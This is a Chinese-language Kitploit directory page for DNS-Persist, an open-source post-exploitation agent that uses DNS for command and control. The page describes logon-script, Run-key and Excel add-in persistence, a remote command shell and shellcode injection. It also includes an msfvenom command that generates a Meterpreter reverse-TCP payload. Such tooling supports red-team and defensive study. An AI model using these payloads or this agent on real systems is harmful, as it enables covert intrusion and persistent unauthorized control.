Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNS-Persist — DNS-Persist 是一个后渗透代理,使用 DNS 进行命令与控制。 | Kitploit
工具/GitHubGitHub/0x09al/dns-persist
Payload生成持久化机制Shellcode后渗透利用渗透测试命令与控制红队DNS 分析
GitHub0x09al/dns-persist

DNS-Persist

DNS-Persist 是一个后渗透代理,使用 DNS 进行命令与控制。

查看仓库
207638年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DNS-Persist

DNS-Persist 是一个使用 DNS 进行命令与控制(C2)的后渗透代理。服务端代码使用 Python 编写,代理则使用 C++ 编写。这是第一个版本,未来会添加更多功能并持续改进。

快速开始

作者

0x09AL - https://twitter.com/0x09al

免责声明

请勿将本软件用于非法用途。

作者不对任何滥用此处代码的行为承担任何责任。

我是在重复造轮子吗?

关于 DNS C2 已有大量优秀的工作成果,但我创建这个软件是为了更专注于持久化部分。我不是 C++ 专家,这是我用 C++ 编写的第一个"真正的程序"(所以可能会看到一些令人尴尬的代码)。

欢迎提出关于功能和改进的建议。

架构

主要有两个部分:

  1. DNS 服务器
  2. 代理

alt text

功能特性

持久化机制

此版本只有 3 种持久化机制,后续会添加更多。

  1. 登录脚本(LogonScript)持久化。
  2. 注册表启动项(RunKey)持久化。
  3. Excel 加载项(Addin)持久化。

'交互式'命令 Shell

此版本支持伪交互式命令 Shell,可用于执行系统命令。

Shellcode 注入

此版本支持注入 32 位 Shellcode。Shellcode 会在同一进程的新线程中执行,因此崩溃或无效的 Shellcode 也会导致代理崩溃。请避免在 Shellcode 中包含 NULL 字节。

Shellcode 生成示例

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex

待办清单

  1. 添加加密功能。 此版本没有任何加密,使用时请自行承担风险。
  2. 添加更多持久化机制。
  3. 使用不同编程语言编写代理。

安装与使用

服务端

root@kitploit:~
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py

默认会在 53 端口启动一个 DNS 服务器。你可以在 server.py 文件中更改该端口。

代理

我使用 Visual Studio 2010 编写代理,因此导入和编译应该相当容易。

请记得修改 Declarations.h 中的 DOMAIN_NAME 变量,使其与你的域名匹配。

域名的名称服务器(nameservers)应指向 DNS-Persist 的 IP 地址。

root@kitploit:~
#define DOMAIN_NAME "example.com"

截图

  1. 图片 1

alt text

  1. 图片 2

alt text

  1. 图片 3

alt text

  1. 图片 4

alt text

下载工具